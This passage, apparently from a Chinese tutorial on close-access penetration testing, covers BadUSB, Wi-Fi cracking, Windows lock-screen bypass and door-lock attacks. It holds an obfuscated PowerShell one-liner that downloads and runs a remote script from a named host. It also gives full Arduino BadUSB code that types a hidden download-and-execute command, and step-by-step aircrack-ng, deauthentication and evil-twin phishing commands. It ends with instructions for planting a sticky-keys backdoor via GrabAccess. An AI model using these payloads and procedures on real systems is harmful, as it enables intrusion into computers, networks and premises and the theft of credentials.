powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://www.xiaodi8.com/ms/ps/p1.ps1')

2.2.3 分离免杀

2.3 Arduino烧录代码

下载地址:
https://github.com/arduino/arduino-ide/releases/tag/2.1.0

打开Arduino IDE

工具->板->选择"Arduino Leonardo"

image-20230423225334134

badusb可以模拟键盘输入和鼠标点击,具体按键设置:

delay(5000);//延时毫秒
Keyboard.begin();     //开始键盘通讯
Keyboard.end();     //结束键盘通讯
Keyboard.press();     //按下键盘按键    如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release();     //释放键盘按键
Keyboard.println("");     //输入字符串使用双引号括起来 
Mouse.begin();//鼠标事件开始
Mouse.click();//鼠标单击
Mouse.end();//鼠标事件结束
Mouse.move();//鼠标移动(x,y)
Mouse.press();//鼠标按下
Mouse.release();//鼠标松开
Mouse.isPressed();//   
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI    //win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN//回车键
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12
#include <Keyboard.h>
void setup() {
  // putpower shell your setup code here, to run once
  Keyboard.begin();//开始键盘通讯 
delay(3000);//延时 
Keyboard.press(KEY_LEFT_GUI);//win键 
delay(500);
Keyboard.press('r');//r键
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
delay(500);
Keyboard.println("CMD  /q /d /f:off /v:on /k MODE con: cols=15 lines=1");  //无回显
//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\"");   //有回显
delay(500);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
Keyboard.println("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass Iex(New-Object Net.WebClient).DownloadString('http://x.x.x.x/xxx.ps1')"); 
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯 
}
 
void loop() {
  // put your main code here, to run repeatedly:
 
}

在代码实现的过程中主要发现2个坑点。
1、目标机器默认中文输入法的问题
2、在某些系统运行需要安装驱动

尝试了2种解决方法:
1、模拟KEY_LEFT_SHIFT按键把中文输出法切换为英文
2、模拟KEY_CAPS_LOCK按键输出大写字符
第一种解决方法,模拟KEY_LEFT_SHIFT按键,在目标为中文输入法时,可以正常切换为英文,正常输出,但一旦对方默认为英文输入法,反而画蛇添足。
第二种解决方法,模拟KEY_CAPS_LOCK按键,在默认使用中英文输入法时都适用,唯一不适应的情况是对方默认使用中文输入法且开启了大写输入。

进行烧录程序

注意右下角,程序写到BadUSB里,别写错地方了,程序不报错证明成功

image-20230420174053937

三、Wife渗透

3.1 Wife密码爆破

Aircrack-ng是一款基于破解无线802.11协议的WEP及WPA-PSK加密的工具。该工具主要用了两种攻击方式进行WEP破解。一种是FMS攻击,该攻击方式是以发现该WEP漏洞的研究人员名字(Scott Fluhrer、Itsik Mantin及Adi Shamir)所命名;另一种是Korek攻击,该攻击方式是通过统计进行攻击的,并且该攻击的效率要远高于FMS攻击。

3.1.1 破解WEP加密的无线网络

Wired Equivalent Privacy或WEP(有线等效加密)协议是对在两台设备间无线传输的数据进行加密的方式,用以防止非法用户窃听或侵入无线网络。不过密码分析学家已经找出WEP好几个弱点,因此在2003年被Wi-Fi Protected Access(WPA)淘汰,又在2004年由完整的IEEE 802.11i标准(又称为WPA2)所取代。

现在使用该协议的较少,可参考
文章

3.1.2 破解WPA/WPA2无线网络

WPA全名为Wi-Fi Protected Access,有WPA和WPA2两个标准。它是一种保护无线电脑网络安全的协议。对于启用WPA/WPA2加密的无线网络,其攻击和破解步骤及攻击是完全一样的。不同的是,在使用airodump-ng进行无线探测的界面上,会提示为WPA CCMP PSK。当使用aireplay-ng进行攻击后,同样获取到WPA握手数据包及提示;在破解时需要提供一个密码字典。下面将介绍破解WPA/WPA2无线网络的方法。

使用aircrack-ng破解WPA/WPA2无线网络的具体操作步骤如下所示。

#查看无线网络接口
airmon-ng
#停止无线网络接口
airmon-ng stop wlan0
#修改无线网卡MAC地址
macchanger --mac 00:11:22:33:44:55 wlan0
#启用无线网络接口
airmon-ng start wlan0
#捕获数据包
airodump-ng -c 1 -w abc --bssid  F6:4C:A1:B5:C6:81  mon0
#对无线路由器Test进行Deauth攻击
aireplay-ng --deauth 1 -a 14:E6:E4:AC:FB:20 -c 00:11:22:33: 44:55 mon0
#破解密码
aircrack-ng -w 1.txt test-01.cap

3.1.3 攻击WPS无线

WPS是由Wi-Fi联盟所推出的全新Wi-Fi安全防护设定标准。该标准主要是为了解决无线网络加密认证设定的步骤过于繁杂的弊病。因为通常用户往往会因为设置步骤太麻烦,以至于不做任何加密安全设定,从而引起许多安全上的问题。所以很多人使用WPS设置无线设备,可以通过个人识别码(PIN)或按钮(PBC)取代输入一个很长的密码短语。当开启该功能后,攻击者就可以使用暴力攻击的方法来攻击WPS。本小节将介绍使用各种工具攻击WPS。

现在大部分路由器上都支持WPS功能。以前路由器有专门的WPS设置,现在的路由器使用QSS功能取代了。以TP-LINK型号为例,介绍设置WPS功能,只需要按下路由器上的QSS/RESET按钮就可以了。

利用在线密码
生成1.txt字典,使用kail中自带的Aircrack-ng,首先查看无线网卡的信息

#查看wlan0和eth0的信息
iwconfig
#kill掉可能影响的进程
airmon-ng check kill
#启用无线网卡的监听模式,启用成功后,Ifconfig可以看到无线网卡的信息。
airmon-ng start wlan0
#监听附近的所有wifi通信
airodump-ng wlan0mon
#通过后台持续运行,抓取指定ap的无线通信,这里-c指定对应通道
airodump-ng --bssid F6:4C:A1:B5:C6:81 -c 10 -w test wlan0mon
aireplay-ng -0 2 -a F6:4C:A1:B5:C6:81 -c 20:64:CB:0E:E3:ED wlan0mon
#查看后台运行的监听进程,抓到数据包为成功
airodump-ng --bssid F6:4C:A1:B5:C6:81 -c 11 -w test wlan0mon
#通过碰撞破解握手包的密码,获取wifi密码
aircrack-ng -w 1.txt test-01.cap

使用wifite更加简单

#启动Wifite工具,并指定使用common.txt密码字典
wifite -dict common.txt

停止扫描无线网络,将显示如下所示的信息

image-20230421145820368

从以上输出信息中,可以看到扫描到五个无线接入点和三个客户端。在输出信息中,共显示了7列。分别表示无线接入点编号、ESSID号、信道、加密方式、电功率、是否开启wps和客户端。如果仅有一个客户端连接到无线接入点,则CLIENT列显示是client。如果有多个客户端连接的话,则显示是clients。

此时,选择要攻击的无线接入点。这里选择第五个无线接入点,输入“1”。然后按下回车键将开始攻击

攻击成功,如果密码在密码本中,即可列出明文密码。

3.2 Wife钓鱼

使用fluxion工具,首先iwconfig查看无线网卡的信息,然后fluxion -i安装依赖

1、首先获取目标握手包

[2] Handshake Snooper 检索WPA/WPA2加密散列。
[3] 扫描所有信道  (2.4GHz & 5Ghz)
[2] 跳过
[2] aireplay-ng 解除认证方式 (侵略性)
[2] cowpatty 验证 (推荐用这个)
[1] 每30秒钟 (推荐).
[2] Synchronously (推荐).

2、之后泛洪攻击目标ap,使其停止无线服务

[1] 选择启动攻击方式
[1] 专属门户 创建一个“邪恶的双胞胎”接入点
[2] 跳过
[2] wlan0    [*] Ralink Technology, Corp. RT2870/RT3070      
[2] aireplay
[1] 流氓 AP - hostapd (推荐)
[1] hash - cowpatty
[1] 使用抓取到的hash文件
[2] cowpatty 验证 (推荐用这个)

3、通过钓鱼框架,伪造目标网络信息,诱导用户连接

[1] 创建SSL证书
[2] 仿真
[03] 通用认证网页                              Chinese 

用户连接钓鱼wifi后,将捕获的用户输入的握手包,与之前认证的握手包进行校验;如果校验成功,则停止攻击目标ap ,否则继续攻击,直至成功破解

3.3 无线路由器漏洞利用

RouterSploit
它包含了27+个品牌的上百种漏洞利用模块,涉及的路由器、摄像头等设备有几百种。可自动设别设备型号自动扫描可利用的漏洞。

四、绕过windows锁屏

近源渗透中经常遇到电脑存在登录密码的情况。某些安全措施严格的目标,还会启用Bitlocker磁盘加密。

4.1 Kon-Boot

Kon-Boot是最著名的密码绕过工具。其原理可谓神奇:在系统引导阶段,通过修改Windows内核,使验证用户凭证的代码失效。它不会删除密码,而是使登录时的密码验证失效,输入任意密码即可登录。

image-20230421151245480

完整版本的Kon-Boot是付费软件,个人许可证价格为$50,商业许可证价格为$140。

如果不打算购买许可证,也可以使用免费版本。本文使用最后一个免费版本V2.5。该版本可以绕过除Windows 10的在线账户之外的密码。在绕过失败时,Kon-Boot可以添加账号,或安装Shift键后门。

Kon-Boot可以满足大多数渗透场景的需求,但它有着几个缺点:

  • 是付费软件,全功能版价格为140美元
  • 无法绕过Bitlocker磁盘加密
  • Kon-Boot绕过密码的成功率差强人意,经常需要重试

4.2 GrabAccess

官网地址:
https://kon-boot.com/index.html

和Kon-Boot类似,GrabAccess也是密码绕过工具。对比起Kon-Boot,GrabAccess的优点有:

  • 免费,并基于GPL协议开源
  • 可以绕过Bitlocker植入后门
  • 只要引导环境符合要求,成功率接近百分百
  • 自动化植入木马。只需要一步操作,耗时短,适合近源渗透场景

其最主要的优势是成功率高。在实战中发现Kon-boot绕过成功率非常之不稳定,尤其是针对Windows 10。

但在目前,GrabAccess仅支持UEFI引导的64位系统。针对Windows xp,或MBR引导的Windows 7,仍推荐Kon-Boot。

使用方式

GrabAccess最基础的功能是安装Shift键后门,将Windows粘滞键替换为任务管理器。在不登陆的情况下,也可以执行系统命令或读写文件。

下载地址:
https://github.com/Push3AX/GrabAccess

  • 准备一个U盘。如果是FAT、FAT16或FAT32格式,则可以不删除已有的文件。否则需要格式化为上述格式。
  • 下载GrabAccess,解压,将EFI文件夹拷贝到U盘根目录。

至此GrabAccess的最简安装完成。

  • 将U盘插入电脑,重启电脑。在启动时进入BIOS菜单。
  • 选择从U盘启动,或设置U盘为第一启动项。如图所示,最后一个启动项是U盘,选择其启动即可。

(如果BIOS开启了Security Boot,还需将其设置为DISABLE)

image-20230421151846274

  • 在登录界面,连续按下五次Shift键,即可唤出任务管理器。
  • 点击文件-运行新任务-浏览,将右下角的“文件类型”选择为所有文件,即可查看、读写电脑上的所有文件。
  • 点击文件可以运行cmd,执行任意代码。例如删除当前账号的密码、添加新账号等。

五、门禁锁

门紧锁一般可以分为无线电锁、RFID锁等

其中无线电锁的无线遥控模块常见于门禁、停车场栏杆等
一般使用特定频段315Mhz、443Mhz频段

攻击方式:

  • 使用固定码,则可被重放攻击
  • 部分滚动码的生成算法已被分析,可能造成滚动码失效
  • 在不知道密码的情况下可进行爆破

image-20230507170541473

RFID锁具

ID卡与lC卡:

  • ID卡较为古老,但廉价,ID卡只有一个ND号,无法存储数据
  • IC卡内部有存储器,并且可以加密数据,IC卡以NXP公司的Mifare为主
  • Mifare卡的存储空间分为1K版和4K版,CPU卡在正常设计的情况下极难破解

image-20230507170739944

该类卡可以读取芯片中的数据,获取密钥信息,进行伪造,网站有门禁复制器等工具直接复制,例如

image-20230507171143348

六、参考文章

https://blog.csdn.net/qq_45161658/article/details/122736729

https://mp.weixin.qq.com/s/UROx1fJOmMVbmH_-UasFEQ